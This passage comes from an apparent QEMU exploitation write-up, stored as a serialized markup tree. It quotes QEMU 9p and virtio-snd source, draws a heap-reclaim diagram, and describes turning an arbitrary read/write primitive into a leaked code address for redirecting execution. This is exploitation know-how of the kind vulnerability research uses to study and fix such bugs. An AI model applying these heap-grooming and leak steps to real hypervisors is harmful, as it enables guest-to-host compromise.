",{"type":23,"tag":92,"props":129435,"children":129437},{"className":129436},[],[129438],{"type":28,"value":129439},"alloc_fid",{"type":28,"value":129441},", which allocates a new ",{"type":23,"tag":92,"props":129443,"children":129445},{"className":129444},[],[129446],{"type":28,"value":129288},{"type":28,"value":1697},{"type":23,"tag":87,"props":129449,"children":129451},{"code":129450,"language":315,"meta":7,"className":15985,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[129452],{"type":23,"tag":92,"props":129453,"children":129454},{"__ignoreMap":7},[129455,129495,129502,129518,129546,129553,129560,129567,129588,129595,129610,129632,129656,129677,129688,129695,129733,129775,129782,129789,129796,129803,129810,129861,129868,129883,129890,129938,129950,129958,129987,130002,130009,130038,130045],{"type":23,"tag":134,"props":129456,"children":129457},{"class":136,"line":137},[129458,129462,129466,129470,129475,129479,129483,129487,129491],{"type":23,"tag":134,"props":129459,"children":129460},{"style":151},[129461],{"type":28,"value":50550},{"type":23,"tag":134,"props":129463,"children":129464},{"style":151},[129465],{"type":28,"value":50555},{"type":23,"tag":134,"props":129467,"children":129468},{"style":179},[129469],{"type":28,"value":127456},{"type":23,"tag":134,"props":129471,"children":129472},{"style":264},[129473],{"type":28,"value":129474},"v9fs_walk",{"type":23,"tag":134,"props":129476,"children":129477},{"style":179},[129478],{"type":28,"value":272},{"type":23,"tag":134,"props":129480,"children":129481},{"style":151},[129482],{"type":28,"value":51133},{"type":23,"tag":134,"props":129484,"children":129485},{"style":168},[129486],{"type":28,"value":9281},{"type":23,"tag":134,"props":129488,"children":129489},{"style":162},[129490],{"type":28,"value":127478},{"type":23,"tag":134,"props":129492,"children":129493},{"style":179},[129494],{"type":28,"value":329},{"type":23,"tag":134,"props":129496,"children":129497},{"class":136,"line":147},[129498],{"type":23,"tag":134,"props":129499,"children":129500},{"style":179},[129501],{"type":28,"value":10346},{"type":23,"tag":134,"props":129503,"children":129504},{"class":136,"line":185},[129505,129509,129513],{"type":23,"tag":134,"props":129506,"children":129507},{"style":179},[129508],{"type":28,"value":127603},{"type":23,"tag":134,"props":129510,"children":129511},{"style":168},[129512],{"type":28,"value":1777},{"type":23,"tag":134,"props":129514,"children":129515},{"style":179},[129516],{"type":28,"value":129517},"fidp;\n",{"type":23,"tag":134,"props":129519,"children":129520},{"class":136,"line":221},[129521,129525,129529,129534,129538,129542],{"type":23,"tag":134,"props":129522,"children":129523},{"style":179},[129524],{"type":28,"value":127603},{"type":23,"tag":134,"props":129526,"children":129527},{"style":168},[129528],{"type":28,"value":1777},{"type":23,"tag":134,"props":129530,"children":129531},{"style":179},[129532],{"type":28,"value":129533},"newfidp ",{"type":23,"tag":134,"props":129535,"children":129536},{"style":168},[129537],{"type":28,"value":257},{"type":23,"tag":134,"props":129539,"children":129540},{"style":151},[129541],{"type":28,"value":127282},{"type":23,"tag":134,"props":129543,"children":129544},{"style":179},[129545],{"type":28,"value":182},{"type":23,"tag":134,"props":129547,"children":129548},{"class":136,"line":332},[129549],{"type":23,"tag":134,"props":129550,"children":129551},{"emptyLinePlaceholder":15},[129552],{"type":28,"value":865},{"type":23,"tag":134,"props":129554,"children":129555},{"class":136,"line":438},[129556],{"type":23,"tag":134,"props":129557,"children":129558},{"style":179},[129559],{"type":28,"value":104313},{"type":23,"tag":134,"props":129561,"children":129562},{"class":136,"line":466},[129563],{"type":23,"tag":134,"props":129564,"children":129565},{"emptyLinePlaceholder":15},[129566],{"type":28,"value":865},{"type":23,"tag":134,"props":129568,"children":129569},{"class":136,"line":479},[129570,129574,129579,129583],{"type":23,"tag":134,"props":129571,"children":129572},{"style":189},[129573],{"type":28,"value":11746},{"type":23,"tag":134,"props":129575,"children":129576},{"style":179},[129577],{"type":28,"value":129578}," (fid ",{"type":23,"tag":134,"props":129580,"children":129581},{"style":168},[129582],{"type":28,"value":8035},{"type":23,"tag":134,"props":129584,"children":129585},{"style":179},[129586],{"type":28,"value":129587}," newfid) {\n",{"type":23,"tag":134,"props":129589,"children":129590},{"class":136,"line":497},[129591],{"type":23,"tag":134,"props":129592,"children":129593},{"style":179},[129594],{"type":28,"value":123551},{"type":23,"tag":134,"props":129596,"children":129597},{"class":136,"line":518},[129598,129602,129606],{"type":23,"tag":134,"props":129599,"children":129600},{"style":179},[129601],{"type":28,"value":15249},{"type":23,"tag":134,"props":129603,"children":129604},{"style":189},[129605],{"type":28,"value":490},{"type":23,"tag":134,"props":129607,"children":129608},{"style":179},[129609],{"type":28,"value":463},{"type":23,"tag":134,"props":129611,"children":129612},{"class":136,"line":527},[129613,129618,129622,129627],{"type":23,"tag":134,"props":129614,"children":129615},{"style":179},[129616],{"type":28,"value":129617},"        newfidp ",{"type":23,"tag":134,"props":129619,"children":129620},{"style":168},[129621],{"type":28,"value":257},{"type":23,"tag":134,"props":129623,"children":129624},{"style":264},[129625],{"type":28,"value":129626}," alloc_fid",{"type":23,"tag":134,"props":129628,"children":129629},{"style":179},[129630],{"type":28,"value":129631},"(s, newfid);\n",{"type":23,"tag":134,"props":129633,"children":129634},{"class":136,"line":780},[129635,129639,129644,129648,129652],{"type":23,"tag":134,"props":129636,"children":129637},{"style":189},[129638],{"type":28,"value":444},{"type":23,"tag":134,"props":129640,"children":129641},{"style":179},[129642],{"type":28,"value":129643}," (newfidp ",{"type":23,"tag":134,"props":129645,"children":129646},{"style":168},[129647],{"type":28,"value":8035},{"type":23,"tag":134,"props":129649,"children":129650},{"style":151},[129651],{"type":28,"value":127282},{"type":23,"tag":134,"props":129653,"children":129654},{"style":179},[129655],{"type":28,"value":14272},{"type":23,"tag":134,"props":129657,"children":129658},{"class":136,"line":797},[129659,129664,129668,129672],{"type":23,"tag":134,"props":129660,"children":129661},{"style":179},[129662],{"type":28,"value":129663},"            err ",{"type":23,"tag":134,"props":129665,"children":129666},{"style":168},[129667],{"type":28,"value":257},{"type":23,"tag":134,"props":129669,"children":129670},{"style":168},[129671],{"type":28,"value":50761},{"type":23,"tag":134,"props":129673,"children":129674},{"style":179},[129675],{"type":28,"value":129676},"EINVAL;\n",{"type":23,"tag":134,"props":129678,"children":129679},{"class":136,"line":814},[129680,129684],{"type":23,"tag":134,"props":129681,"children":129682},{"style":189},[129683],{"type":28,"value":60057},{"type":23,"tag":134,"props":129685,"children":129686},{"style":179},[129687],{"type":28,"value":60062},{"type":23,"tag":134,"props":129689,"children":129690},{"class":136,"line":827},[129691],{"type":23,"tag":134,"props":129692,"children":129693},{"style":179},[129694],{"type":28,"value":524},{"type":23,"tag":134,"props":129696,"children":129697},{"class":136,"line":836},[129698,129703,129707,129712,129716,129721,129725,129729],{"type":23,"tag":134,"props":129699,"children":129700},{"style":162},[129701],{"type":28,"value":129702},"        newfidp",{"type":23,"tag":134,"props":129704,"children":129705},{"style":179},[129706],{"type":28,"value":13225},{"type":23,"tag":134,"props":129708,"children":129709},{"style":162},[129710],{"type":28,"value":129711},"uid",{"type":23,"tag":134,"props":129713,"children":129714},{"style":168},[129715],{"type":28,"value":171},{"type":23,"tag":134,"props":129717,"children":129718},{"style":162},[129719],{"type":28,"value":129720}," fidp",{"type":23,"tag":134,"props":129722,"children":129723},{"style":179},[129724],{"type":28,"value":13225},{"type":23,"tag":134,"props":129726,"children":129727},{"style":162},[129728],{"type":28,"value":129711},{"type":23,"tag":134,"props":129730,"children":129731},{"style":179},[129732],{"type":28,"value":182},{"type":23,"tag":134,"props":129734,"children":129735},{"class":136,"line":859},[129736,129741,129745,129749,129754,129758,129762,129766,129770],{"type":23,"tag":134,"props":129737,"children":129738},{"style":264},[129739],{"type":28,"value":129740},"        v9fs_path_copy",{"type":23,"tag":134,"props":129742,"children":129743},{"style":179},[129744],{"type":28,"value":272},{"type":23,"tag":134,"props":129746,"children":129747},{"style":168},[129748],{"type":28,"value":277},{"type":23,"tag":134,"props":129750,"children":129751},{"style":162},[129752],{"type":28,"value":129753},"newfidp",{"type":23,"tag":134,"props":129755,"children":129756},{"style":179},[129757],{"type":28,"value":13225},{"type":23,"tag":134,"props":129759,"children":129760},{"style":162},[129761],{"type":28,"value":111836},{"type":23,"tag":134,"props":129763,"children":129764},{"style":179},[129765],{"type":28,"value":242},{"type":23,"tag":134,"props":129767,"children":129768},{"style":168},[129769],{"type":28,"value":277},{"type":23,"tag":134,"props":129771,"children":129772},{"style":179},[129773],{"type":28,"value":129774},"path);\n",{"type":23,"tag":134,"props":129776,"children":129777},{"class":136,"line":868},[129778],{"type":23,"tag":134,"props":129779,"children":129780},{"style":179},[129781],{"type":28,"value":533},{"type":23,"tag":134,"props":129783,"children":129784},{"class":136,"line":877},[129785],{"type":23,"tag":134,"props":129786,"children":129787},{"emptyLinePlaceholder":15},[129788],{"type":28,"value":865},{"type":23,"tag":134,"props":129790,"children":129791},{"class":136,"line":946},[129792],{"type":23,"tag":134,"props":129793,"children":129794},{"style":179},[129795],{"type":28,"value":104313},{"type":23,"tag":134,"props":129797,"children":129798},{"class":136,"line":954},[129799],{"type":23,"tag":134,"props":129800,"children":129801},{"style":179},[129802],{"type":28,"value":1098},{"type":23,"tag":134,"props":129804,"children":129805},{"class":136,"line":984},[129806],{"type":23,"tag":134,"props":129807,"children":129808},{"emptyLinePlaceholder":15},[129809],{"type":28,"value":865},{"type":23,"tag":134,"props":129811,"children":129812},{"class":136,"line":992},[129813,129817,129822,129826,129830,129835,129839,129843,129847,129852,129857],{"type":23,"tag":134,"props":129814,"children":129815},{"style":151},[129816],{"type":28,"value":50550},{"type":23,"tag":134,"props":129818,"children":129819},{"style":179},[129820],{"type":28,"value":129821}," V9fsFidState ",{"type":23,"tag":134,"props":129823,"children":129824},{"style":168},[129825],{"type":28,"value":1777},{"type":23,"tag":134,"props":129827,"children":129828},{"style":264},[129829],{"type":28,"value":129439},{"type":23,"tag":134,"props":129831,"children":129832},{"style":179},[129833],{"type":28,"value":129834},"(V9fsState ",{"type":23,"tag":134,"props":129836,"children":129837},{"style":168},[129838],{"type":28,"value":1777},{"type":23,"tag":134,"props":129840,"children":129841},{"style":162},[129842],{"type":28,"value":10117},{"type":23,"tag":134,"props":129844,"children":129845},{"style":179},[129846],{"type":28,"value":242},{"type":23,"tag":134,"props":129848,"children":129849},{"style":151},[129850],{"type":28,"value":129851},"int32_t",{"type":23,"tag":134,"props":129853,"children":129854},{"style":162},[129855],{"type":28,"value":129856}," fid",{"type":23,"tag":134,"props":129858,"children":129859},{"style":179},[129860],{"type":28,"value":329},{"type":23,"tag":134,"props":129862,"children":129863},{"class":136,"line":1024},[129864],{"type":23,"tag":134,"props":129865,"children":129866},{"style":179},[129867],{"type":28,"value":10346},{"type":23,"tag":134,"props":129869,"children":129870},{"class":136,"line":1032},[129871,129875,129879],{"type":23,"tag":134,"props":129872,"children":129873},{"style":179},[129874],{"type":28,"value":127603},{"type":23,"tag":134,"props":129876,"children":129877},{"style":168},[129878],{"type":28,"value":1777},{"type":23,"tag":134,"props":129880,"children":129881},{"style":179},[129882],{"type":28,"value":50671},{"type":23,"tag":134,"props":129884,"children":129885},{"class":136,"line":1092},[129886],{"type":23,"tag":134,"props":129887,"children":129888},{"emptyLinePlaceholder":15},[129889],{"type":28,"value":865},{"type":23,"tag":134,"props":129891,"children":129892},{"class":136,"line":8508},[129893,129898,129902,129907,129911,129915,129919,129924,129928,129933],{"type":23,"tag":134,"props":129894,"children":129895},{"style":179},[129896],{"type":28,"value":129897},"    f ",{"type":23,"tag":134,"props":129899,"children":129900},{"style":168},[129901],{"type":28,"value":257},{"type":23,"tag":134,"props":129903,"children":129904},{"style":264},[129905],{"type":28,"value":129906}," g_hash_table_lookup",{"type":23,"tag":134,"props":129908,"children":129909},{"style":179},[129910],{"type":28,"value":272},{"type":23,"tag":134,"props":129912,"children":129913},{"style":162},[129914],{"type":28,"value":10117},{"type":23,"tag":134,"props":129916,"children":129917},{"style":179},[129918],{"type":28,"value":13225},{"type":23,"tag":134,"props":129920,"children":129921},{"style":162},[129922],{"type":28,"value":129923},"fids",{"type":23,"tag":134,"props":129925,"children":129926},{"style":179},[129927],{"type":28,"value":242},{"type":23,"tag":134,"props":129929,"children":129930},{"style":264},[129931],{"type":28,"value":129932},"GINT_TO_POINTER",{"type":23,"tag":134,"props":129934,"children":129935},{"style":179},[129936],{"type":28,"value":129937},"(fid));\n",{"type":23,"tag":134,"props":129939,"children":129940},{"class":136,"line":8526},[129941,129945],{"type":23,"tag":134,"props":129942,"children":129943},{"style":189},[129944],{"type":28,"value":11746},{"type":23,"tag":134,"props":129946,"children":129947},{"style":179},[129948],{"type":28,"value":129949}," (f) {\n",{"type":23,"tag":134,"props":129951,"children":129952},{"class":136,"line":8571},[129953],{"type":23,"tag":134,"props":129954,"children":129955},{"style":141},[129956],{"type":28,"value":129957},"        /* If fid is already there return NULL */\n",{"type":23,"tag":134,"props":129959,"children":129960},{"class":136,"line":8677},[129961,129966,129970,129974,129978,129983],{"type":23,"tag":134,"props":129962,"children":129963},{"style":264},[129964],{"type":28,"value":129965},"        BUG_ON",{"type":23,"tag":134,"props":129967,"children":129968},{"style":179},[129969],{"type":28,"value":272},{"type":23,"tag":134,"props":129971,"children":129972},{"style":162},[129973],{"type":28,"value":32581},{"type":23,"tag":134,"props":129975,"children":129976},{"style":179},[129977],{"type":28,"value":13225},{"type":23,"tag":134,"props":129979,"children":129980},{"style":162},[129981],{"type":28,"value":129982},"clunked",{"type":23,"tag":134,"props":129984,"children":129985},{"style":179},[129986],{"type":28,"value":1021},{"type":23,"tag":134,"props":129988,"children":129989},{"class":136,"line":22988},[129990,129994,129998],{"type":23,"tag":134,"props":129991,"children":129992},{"style":189},[129993],{"type":28,"value":15214},{"type":23,"tag":134,"props":129995,"children":129996},{"style":151},[129997],{"type":28,"value":127282},{"type":23,"tag":134,"props":129999,"children":130000},{"style":179},[130001],{"type":28,"value":182},{"type":23,"tag":134,"props":130003,"children":130004},{"class":136,"line":23023},[130005],{"type":23,"tag":134,"props":130006,"children":130007},{"style":179},[130008],{"type":28,"value":533},{"type":23,"tag":134,"props":130010,"children":130011},{"class":136,"line":23031},[130012,130016,130020,130025,130030,130034],{"type":23,"tag":134,"props":130013,"children":130014},{"style":179},[130015],{"type":28,"value":129897},{"type":23,"tag":134,"props":130017,"children":130018},{"style":168},[130019],{"type":28,"value":257},{"type":23,"tag":134,"props":130021,"children":130022},{"style":264},[130023],{"type":28,"value":130024}," g_new0",{"type":23,"tag":134,"props":130026,"children":130027},{"style":179},[130028],{"type":28,"value":130029},"(V9fsFidState, ",{"type":23,"tag":134,"props":130031,"children":130032},{"style":205},[130033],{"type":28,"value":1214},{"type":23,"tag":134,"props":130035,"children":130036},{"style":179},[130037],{"type":28,"value":1021},{"type":23,"tag":134,"props":130039,"children":130040},{"class":136,"line":23039},[130041],{"type":23,"tag":134,"props":130042,"children":130043},{"emptyLinePlaceholder":15},[130044],{"type":28,"value":865},{"type":23,"tag":134,"props":130046,"children":130047},{"class":136,"line":23048},[130048],{"type":23,"tag":134,"props":130049,"children":130050},{"style":179},[130051],{"type":28,"value":104313},{"type":23,"tag":24,"props":130053,"children":130054},{},[130055,130057,130062],{"type":28,"value":130056},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":23,"tag":92,"props":130058,"children":130060},{"className":130059},[],[130061],{"type":28,"value":128857},{"type":28,"value":128194},{"type":23,"tag":87,"props":130064,"children":130066},{"code":130065},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[130067],{"type":23,"tag":92,"props":130068,"children":130069},{"__ignoreMap":7},[130070],{"type":28,"value":130065},{"type":23,"tag":18368,"props":130072,"children":130074},{"id":130073},"leaking-a-qemu-address",[130075],{"type":28,"value":130076},"Leaking a QEMU Address",{"type":23,"tag":24,"props":130078,"children":130079},{},[130080],{"type":28,"value":130081},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":23,"tag":24,"props":130083,"children":130084},{},[130085,130087,130092],{"type":28,"value":130086},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":23,"tag":92,"props":130088,"children":130090},{"className":130089},[],[130091],{"type":28,"value":123277},{"type":28,"value":1697},{"type":23,"tag":87,"props":130094,"children":130096},{"code":130095,"language":315,"meta":7,"className":15985,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[130097],{"type":23,"tag":92,"props":130098,"children":130099},{"__ignoreMap":7},[130100,130143,130150,130181,130196,130211,130223,130236,130243,130250,130257,130268,130283,130290,130318,130337,130348,130355,130363,130400,130421,130433,130446,130459,130485,130497,130504,130542,130549,130556,130563,130594,130649,130661,130702,130725,130754,130781,130808,130840],{"type":23,"tag":134,"props":130101,"children":130102},{"class":136,"line":137},[130103,130107,130111,130115,130119,130123,130127,130131,130135,130139],{"type":23,"tag":134,"props":130104,"children":130105},{"style":151},[130106],{"type":28,"value":50550},{"type":23,"tag":134,"props":130108,"children":130109},{"style":151},[130110],{"type":28,"value":50555},{"type":23,"tag":134,"props":130112,"children":130113},{"style":264},[130114],{"type":28,"value":123356},{"type":23,"tag":134,"props":130116,"children":130117},{"style":179},[130118],{"type":28,"value":123361},{"type":23,"tag":134,"props":130120,"children":130121},{"style":168},[130122],{"type":28,"value":1777},{"type":23,"tag":134,"props":130124,"children":130125},{"style":162},[130126],{"type":28,"value":123370},{"type":23,"tag":134,"props":130128,"children":130129},{"style":179},[130130],{"type":28,"value":123375},{"type":23,"tag":134,"props":130132,"children":130133},{"style":168},[130134],{"type":28,"value":1777},{"type":23,"tag":134,"props":130136,"children":130137},{"style":162},[130138],{"type":28,"value":123384},{"type":23,"tag":134,"props":130140,"children":130141},{"style":179},[130142],{"type":28,"value":329},{"type":23,"tag":134,"props":130144,"children":130145},{"class":136,"line":147},[130146],{"type":23,"tag":134,"props":130147,"children":130148},{"style":179},[130149],{"type":28,"value":10346},{"type":23,"tag":134,"props":130151,"children":130152},{"class":136,"line":185},[130153,130158,130162,130167,130171,130176],{"type":23,"tag":134,"props":130154,"children":130155},{"style":179},[130156],{"type":28,"value":130157},"    VirtIOSound ",{"type":23,"tag":134,"props":130159,"children":130160},{"style":168},[130161],{"type":28,"value":1777},{"type":23,"tag":134,"props":130163,"children":130164},{"style":179},[130165],{"type":28,"value":130166},"vsnd ",{"type":23,"tag":134,"props":130168,"children":130169},{"style":168},[130170],{"type":28,"value":257},{"type":23,"tag":134,"props":130172,"children":130173},{"style":264},[130174],{"type":28,"value":130175}," VIRTIO_SND",{"type":23,"tag":134,"props":130177,"children":130178},{"style":179},[130179],{"type":28,"value":130180},"(vdev);\n",{"type":23,"tag":134,"props":130182,"children":130183},{"class":136,"line":221},[130184,130188,130192],{"type":23,"tag":134,"props":130185,"children":130186},{"style":179},[130187],{"type":28,"value":124374},{"type":23,"tag":134,"props":130189,"children":130190},{"style":168},[130191],{"type":28,"value":1777},{"type":23,"tag":134,"props":130193,"children":130194},{"style":179},[130195],{"type":28,"value":124383},{"type":23,"tag":134,"props":130197,"children":130198},{"class":136,"line":332},[130199,130203,130207],{"type":23,"tag":134,"props":130200,"children":130201},{"style":179},[130202],{"type":28,"value":123403},{"type":23,"tag":134,"props":130204,"children":130205},{"style":168},[130206],{"type":28,"value":1777},{"type":23,"tag":134,"props":130208,"children":130209},{"style":179},[130210],{"type":28,"value":123412},{"type":23,"tag":134,"props":130212,"children":130213},{"class":136,"line":438},[130214,130218],{"type":23,"tag":134,"props":130215,"children":130216},{"style":151},[130217],{"type":28,"value":16035},{"type":23,"tag":134,"props":130219,"children":130220},{"style":179},[130221],{"type":28,"value":130222}," msg_sz, size;\n",{"type":23,"tag":134,"props":130224,"children":130225},{"class":136,"line":466},[130226,130231],{"type":23,"tag":134,"props":130227,"children":130228},{"style":151},[130229],{"type":28,"value":130230},"    uint32_t",{"type":23,"tag":134,"props":130232,"children":130233},{"style":179},[130234],{"type":28,"value":130235}," stream_id;\n",{"type":23,"tag":134,"props":130237,"children":130238},{"class":136,"line":479},[130239],{"type":23,"tag":134,"props":130240,"children":130241},{"emptyLinePlaceholder":15},[130242],{"type":28,"value":865},{"type":23,"tag":134,"props":130244,"children":130245},{"class":136,"line":497},[130246],{"type":23,"tag":134,"props":130247,"children":130248},{"style":179},[130249],{"type":28,"value":104313},{"type":23,"tag":134,"props":130251,"children":130252},{"class":136,"line":518},[130253],{"type":23,"tag":134,"props":130254,"children":130255},{"emptyLinePlaceholder":15},[130256],{"type":28,"value":865},{"type":23,"tag":134,"props":130258,"children":130259},{"class":136,"line":527},[130260,130264],{"type":23,"tag":134,"props":130261,"children":130262},{"style":189},[130263],{"type":28,"value":192},{"type":23,"tag":134,"props":130265,"children":130266},{"style":179},[130267],{"type":28,"value":123438},{"type":23,"tag":134,"props":130269,"children":130270},{"class":136,"line":780},[130271,130275,130279],{"type":23,"tag":134,"props":130272,"children":130273},{"style":179},[130274],{"type":28,"value":123446},{"type":23,"tag":134,"props":130276,"children":130277},{"style":168},[130278],{"type":28,"value":1777},{"type":23,"tag":134,"props":130280,"children":130281},{"style":179},[130282],{"type":28,"value":123455},{"type":23,"tag":134,"props":130284,"children":130285},{"class":136,"line":797},[130286],{"type":23,"tag":134,"props":130287,"children":130288},{"emptyLinePlaceholder":15},[130289],{"type":28,"value":865},{"type":23,"tag":134,"props":130291,"children":130292},{"class":136,"line":814},[130293,130297,130301,130305,130309,130313],{"type":23,"tag":134,"props":130294,"children":130295},{"style":179},[130296],{"type":28,"value":123470},{"type":23,"tag":134,"props":130298,"children":130299},{"style":168},[130300],{"type":28,"value":257},{"type":23,"tag":134,"props":130302,"children":130303},{"style":264},[130304],{"type":28,"value":123479},{"type":23,"tag":134,"props":130306,"children":130307},{"style":179},[130308],{"type":28,"value":123484},{"type":23,"tag":134,"props":130310,"children":130311},{"style":151},[130312],{"type":28,"value":54834},{"type":23,"tag":134,"props":130314,"children":130315},{"style":179},[130316],{"type":28,"value":130317},"(VirtQueueElement));\n",{"type":23,"tag":134,"props":130319,"children":130320},{"class":136,"line":827},[130321,130325,130329,130333],{"type":23,"tag":134,"props":130322,"children":130323},{"style":189},[130324],{"type":28,"value":444},{"type":23,"tag":134,"props":130326,"children":130327},{"style":179},[130328],{"type":28,"value":232},{"type":23,"tag":134,"props":130330,"children":130331},{"style":168},[130332],{"type":28,"value":20099},{"type":23,"tag":134,"props":130334,"children":130335},{"style":179},[130336],{"type":28,"value":123518},{"type":23,"tag":134,"props":130338,"children":130339},{"class":136,"line":836},[130340,130344],{"type":23,"tag":134,"props":130341,"children":130342},{"style":189},[130343],{"type":28,"value":472},{"type":23,"tag":134,"props":130345,"children":130346},{"style":179},[130347],{"type":28,"value":182},{"type":23,"tag":134,"props":130349,"children":130350},{"class":136,"line":859},[130351],{"type":23,"tag":134,"props":130352,"children":130353},{"style":179},[130354],{"type":28,"value":524},{"type":23,"tag":134,"props":130356,"children":130357},{"class":136,"line":868},[130358],{"type":23,"tag":134,"props":130359,"children":130360},{"style":141},[130361],{"type":28,"value":130362},"        /* get the message hdr object */\n",{"type":23,"tag":134,"props":130364,"children":130365},{"class":136,"line":877},[130366,130371,130375,130380,130384,130388,130392,130396],{"type":23,"tag":134,"props":130367,"children":130368},{"style":179},[130369],{"type":28,"value":130370},"        msg_sz ",{"type":23,"tag":134,"props":130372,"children":130373},{"style":168},[130374],{"type":28,"value":257},{"type":23,"tag":134,"props":130376,"children":130377},{"style":264},[130378],{"type":28,"value":130379}," iov_to_buf",{"type":23,"tag":134,"props":130381,"children":130382},{"style":179},[130383],{"type":28,"value":272},{"type":23,"tag":134,"props":130385,"children":130386},{"style":162},[130387],{"type":28,"value":51570},{"type":23,"tag":134,"props":130389,"children":130390},{"style":179},[130391],{"type":28,"value":13225},{"type":23,"tag":134,"props":130393,"children":130394},{"style":162},[130395],{"type":28,"value":123922},{"type":23,"tag":134,"props":130397,"children":130398},{"style":179},[130399],{"type":28,"value":687},{"type":23,"tag":134,"props":130401,"children":130402},{"class":136,"line":946},[130403,130408,130412,130417],{"type":23,"tag":134,"props":130404,"children":130405},{"style":162},[130406],{"type":28,"value":130407},"                            elem",{"type":23,"tag":134,"props":130409,"children":130410},{"style":179},[130411],{"type":28,"value":13225},{"type":23,"tag":134,"props":130413,"children":130414},{"style":162},[130415],{"type":28,"value":130416},"out_num",{"type":23,"tag":134,"props":130418,"children":130419},{"style":179},[130420],{"type":28,"value":687},{"type":23,"tag":134,"props":130422,"children":130423},{"class":136,"line":954},[130424,130429],{"type":23,"tag":134,"props":130425,"children":130426},{"style":205},[130427],{"type":28,"value":130428},"                            0",{"type":23,"tag":134,"props":130430,"children":130431},{"style":179},[130432],{"type":28,"value":687},{"type":23,"tag":134,"props":130434,"children":130435},{"class":136,"line":984},[130436,130441],{"type":23,"tag":134,"props":130437,"children":130438},{"style":168},[130439],{"type":28,"value":130440},"                            &",{"type":23,"tag":134,"props":130442,"children":130443},{"style":179},[130444],{"type":28,"value":130445},"hdr,\n",{"type":23,"tag":134,"props":130447,"children":130448},{"class":136,"line":992},[130449,130454],{"type":23,"tag":134,"props":130450,"children":130451},{"style":151},[130452],{"type":28,"value":130453},"                            sizeof",{"type":23,"tag":134,"props":130455,"children":130456},{"style":179},[130457],{"type":28,"value":130458},"(virtio_snd_pcm_xfer));\n",{"type":23,"tag":134,"props":130460,"children":130461},{"class":136,"line":1024},[130462,130466,130471,130475,130480],{"type":23,"tag":134,"props":130463,"children":130464},{"style":189},[130465],{"type":28,"value":444},{"type":23,"tag":134,"props":130467,"children":130468},{"style":179},[130469],{"type":28,"value":130470}," (msg_sz ",{"type":23,"tag":134,"props":130472,"children":130473},{"style":168},[130474],{"type":28,"value":15158},{"type":23,"tag":134,"props":130476,"children":130477},{"style":151},[130478],{"type":28,"value":130479}," sizeof",{"type":23,"tag":134,"props":130481,"children":130482},{"style":179},[130483],{"type":28,"value":130484},"(virtio_snd_pcm_xfer)) {\n",{"type":23,"tag":134,"props":130486,"children":130487},{"class":136,"line":1032},[130488,130492],{"type":23,"tag":134,"props":130489,"children":130490},{"style":189},[130491],{"type":28,"value":60057},{"type":23,"tag":134,"props":130493,"children":130494},{"style":179},[130495],{"type":28,"value":130496}," rx_err;\n",{"type":23,"tag":134,"props":130498,"children":130499},{"class":136,"line":1092},[130500],{"type":23,"tag":134,"props":130501,"children":130502},{"style":179},[130503],{"type":28,"value":524},{"type":23,"tag":134,"props":130505,"children":130506},{"class":136,"line":8508},[130507,130512,130516,130520,130524,130529,130533,130538],{"type":23,"tag":134,"props":130508,"children":130509},{"style":179},[130510],{"type":28,"value":130511},"        stream_id ",{"type":23,"tag":134,"props":130513,"children":130514},{"style":168},[130515],{"type":28,"value":257},{"type":23,"tag":134,"props":130517,"children":130518},{"style":264},[130519],{"type":28,"value":125384},{"type":23,"tag":134,"props":130521,"children":130522},{"style":179},[130523],{"type":28,"value":272},{"type":23,"tag":134,"props":130525,"children":130526},{"style":162},[130527],{"type":28,"value":130528},"hdr",{"type":23,"tag":134,"props":130530,"children":130531},{"style":179},[130532],{"type":28,"value":720},{"type":23,"tag":134,"props":130534,"children":130535},{"style":162},[130536],{"type":28,"value":130537},"stream_id",{"type":23,"tag":134,"props":130539,"children":130540},{"style":179},[130541],{"type":28,"value":1021},{"type":23,"tag":134,"props":130543,"children":130544},{"class":136,"line":8526},[130545],{"type":23,"tag":134,"props":130546,"children":130547},{"emptyLinePlaceholder":15},[130548],{"type":28,"value":865},{"type":23,"tag":134,"props":130550,"children":130551},{"class":136,"line":8571},[130552],{"type":23,"tag":134,"props":130553,"children":130554},{"style":179},[130555],{"type":28,"value":123551},{"